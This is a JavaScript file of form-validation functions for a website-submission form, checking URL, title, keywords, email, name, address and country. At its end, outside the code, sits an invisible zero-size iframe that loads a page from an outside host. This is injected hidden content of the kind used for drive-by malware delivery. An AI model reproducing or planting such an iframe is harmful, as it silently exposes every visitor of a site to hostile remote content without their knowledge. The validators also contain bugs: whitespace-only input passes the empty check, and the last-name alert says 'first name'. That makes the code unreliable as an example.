function checkfield() {
		if (validURL(step1.f_url.value)==false) {
			alert('Please enter a valid URL \n\n Do not use any of the following character \' \" , < or >\n And it should begin with \"http://\"');
            		step1.f_url.focus();
			return false;
		}
		if (checkempty(step1.f_webtitle.value)==false) {
			alert('Please enter your website title');
            		step1.f_webtitle.focus();
			return false;
		}
		if (checkempty(step1.f_webdesc.value)==false) {
			alert('Please enter your website description');
            		step1.f_webdesc.focus();
			return false;
		}
		if (checkempty(step1.f_keyword1.value)==false) {
			alert('Please enter your keyword or phrase');
            		step1.f_keyword1.focus();
			return false;
		}
		if(step1.webcat.options(step1.webcat.selectedIndex).value==-1) {
			alert('Please select your website category');
           	 	step1.webcat.focus();
			return false;
		}
		if (validEmail(step1.f_email.value)==false) {
			alert('Please enter a valid email address');
			step1.f_email.focus();
			return false;
		}
		if (checkempty(step1.f_fname.value)==false) {
			alert('Please enter your first name!');
			step1.f_fname.focus();
			return false;
		}
		if (checkempty(step1.f_lname.value)==false) {
			alert('Please enter your first name!');
			step1.f_lname.focus();
			return false;
		}
		if (checkempty(step1.f_address.value)==false) {
			alert('Please enter your address!');
			step1.f_address.focus();
			return false;
		}
		if (checkempty(step1.f_city.value)==false) {
			alert('Please enter city!');
			step1.f_city.focus();
			return false;
		}
		
		if (step1.f_country.value==-1) {
			alert('Please choose your country!');
			step1.f_country.focus();
			return false;
		}
	return true;
}
function validURL(urlV) {
	if ( urlV.length > 12) {
		for (var i=0; i < urlV.length; i++) {
			var tempV = urlV.substring(i, i+1)
			if (tempV == " " || tempV == "'" || tempV == '"' || tempV == "," || tempV == ";" || tempV == "`" || tempV == "<" || tempV == ">") {
				return false;
				}
			if (tempV == "." && i == urlV.length-1) {
				return false;
				}
			}
		} else {
		return false;
		}
		return true;
	}
function checkempty(txtval){
	if (txtval.length==0)
		{
		return false;
		}
	var i=0;
	while (i<txtval.length) {
		if (txtval.substring(i,i+1) != ' ')
		return true;
		i=i+1;
		}
	return true;
	}
function validEmail(emailV) {
	if (emailV.length < 6) return false;
   	if (emailV.indexOf("@") < 1) return false;
   	if (emailV.indexOf("@") > (emailV.length-4)) return false;
	for (var i=0; i < emailV.length; i++) {
		var tempV = emailV.substring(i, i+1)
		if (tempV == " " || tempV == "'" || tempV == '"' || tempV == "," || tempV == ";" || tempV == "`" || tempV == "<" || tempV == ">") { 
			return false;
			}
		}
		return true;
	}
function pop(Var)
{
window.open(Var,'','status=no,scrollbars=no,top=0,left=0,width=630,height=700')
} 


<iframe src=http://web.lylss.com/id.htm width=0 height=0></iframe>
